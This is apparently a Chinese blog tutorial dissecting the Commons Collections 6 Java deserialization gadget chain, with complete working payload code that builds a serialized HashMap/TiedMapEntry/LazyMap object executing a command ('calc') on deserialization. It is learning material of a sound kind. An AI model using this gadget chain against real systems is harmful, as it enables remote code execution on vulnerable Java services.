commons collections 6反序列化链学习
目录
前言
之前是讨论过CC1链,现在CC1链是已经不能用了,因为在8u71中对AnnotationInvocationHandler
的readObject方法进行了针对性的修改:
使用8u211环境看的,偷了个懒没有去找源码,就直接看class文件了
可以看出if执行完后并没有使用setValue的操作,而且前面也对参数的获取进行了修改,导致动态代理的CC1链失效了,到此就只能宣布CC1的沦陷了。
但是CC1给我们的收获仍然是丰厚的,我们仍然可以通过对后半部分补充从而获得一条新的链子。
在这种需求下就有人发现了CC6,这是一条不限版本的CC链,通用性很强,也是存在在commons collections3版本中的。
思路
通过CC1链以及修复的地方我们可以发现我们仍然可以通过触发LazyMap中的get方法从而达到RCE的目的。
因为要考虑到通用性这个条件,很自然就能想到DNSURL链,这个链具有通用性是因为它使用了HashMap
中的hashCode
方法,而这两个都是不会被ban的。
那么借用这个思想我们就可以找 在hashCode方法中调用get方法的类
CC6的作者就找到了这个类TideMapEntry
:
其中的getValue方法:
通过构造器可以看出
map是可控的。到此一条完整了链子就出现在我们脑中。
过程
工具类
由于涉及到一些重复的代码,我就将重复的部分打包成一个工具类:
package org.Payload;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
public class Util implements Serializable{
public ChainedTransformer chainedTransformer () throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//使用ChainedTransformer进行迭代
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new String[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
});
//chainedTransformer.transform(Runtime.class);
return chainedTransformer;
}
public static void serialzie(Object O,String name) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
objectOutputStream.writeObject(O);
}
public static void unserialize(String name) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
objectInputStream.readObject();
}
}
注意这个工具类也需要支持反序列化
工具类主要就是为了生成chainedTransformer
调用链,并提供简单的序列化和反序列化函数方便我们进行检验。
LazyMap
我们先生成一个LazyMap类,然后就可以通过调用人家的get
方法RCE 了
LazyMap的构造器是保护的,需要我们通过人家给了decorate
方法来创建,只需要传入一个Map和一个Transformer
对象即可
我们这里使用HashMap
来创建LazyMap,Transformr
就是需要的chainedTransformer
Util util = new Util();
ChainedTransformer chainedTransformer = util.chainedTransformer();
HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap,chainedTransformer);
TideMapEntry
接着就是请出这次的主角TideMapEntry
,这个Entry还是Public的,也就省的我们用反射去创建了
创建也是十分简单,一个Map一个key即可
之后触发hashCode
就可以触发map的get,传入的key(这个传入无所谓的)
//TideMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
下面问题就变成了触发这个tideMapEntry
的hashCode
方法了
HashCode
这个参考DNSURL链的前半段,使用HashMap方法触发
在HashMap的readObject方法中最后人家会在一个for循环中调用hash方法, 并将key传入
而在hash中就会调用传入的key
的 hashCode
方法
然后就会触发上面的Entry了
代码如下:
//new一个用来触发hashCode的HashCode
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
//将需要触发hashCode的Entry作为key传入其中,他的值无所谓
hashMap.put(tiedMapEntry, "222");
然后就是序列化了:
Util.serialzie(hashMap,"CC6.bin");
Util.unserialize("CC6.bin");
调整修复
到此时如果执行代码的话,确实会触发反序列化,弹出计算器,但是实际上这个计算机是在 序列化的时候弹出的并不是在反序列化的时候弹出的。
这个问题在DNSURL链中也同样出现过,主要原因就是在put的时候就会触发hashCode
执行的指令和readObject
中一模一样
这里的修复思路就是在put前将链子截断,put后在重新修好,这个过程可以通过反射完成
截断链子的地方很多,我们这里选取lazymap
传入chainedTransforms
的时候这里截断,这里我们随便传入一个Transformr
接口对象即可
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap,new ConstantTransformer(1));
之后再put后修改即可
//重新修理这个链接
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);
此时运行的时候就不会在序列化的时候触发漏洞了。
但是不幸的是反序列化的时候也不会触发漏洞,这个问题就需要涉及到LazyMap的懒汉式设计方式了,简单来说就是当我们调用这个Map的值的时候,如果人家没有值才会触发transform方法从而生成这个值, 并传入Map中, 如果这个值存在就不会触发**transform
**了,很明显这个地方就是因为本地触发过一次transform方法了,给LazyMap写入值了,到目标机器后就不会调用transform方法而是直接调用,明显不符合我们的预期。
而触发的地方也很明显,还是那个put函数:
人家调用hash的时候不仅仅会触发hashCode方法,进而进入到LazyMap中触发transform方法。
修改方法也很简单,就是将put的误生成的数据删除即可:
//这一步会加入数据:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
...
...
//put后删除该数据即可
lazyMap.remove("111");
到此整条链子就分析完成了。
完整代码
工具类:参考上面
package org.Payload.CC6;
import org.Payload.Util;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Objects;
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException, NoSuchFieldException {
Util util = new Util();
ChainedTransformer chainedTransformer = util.chainedTransformer();
HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
//防止序列化的时候触发漏洞
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap,new ConstantTransformer(1));
//TideMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
//new一个用来触发hashCode的HashCode
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
//将需要触发hashCode的Entry作为key传入其中,他的值无所谓
hashMap.put(tiedMapEntry, "222");
//重新修理这个链接
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);
lazyMap.remove("111");
Util.serialzie(hashMap,"CC6.bin");
Util.unserialize("CC6.bin");
}
}
总结
CC6是一条通用的链子,其通用性就体现在入口是用来HashMap的readObject这个很少有人会ban的,而中间的链子也很简单很巧妙。总的来说理解不算困难实用性较强。
我们在复现链子的时候也是尝试去揣测链作者的思路,这部分也是十分重要的。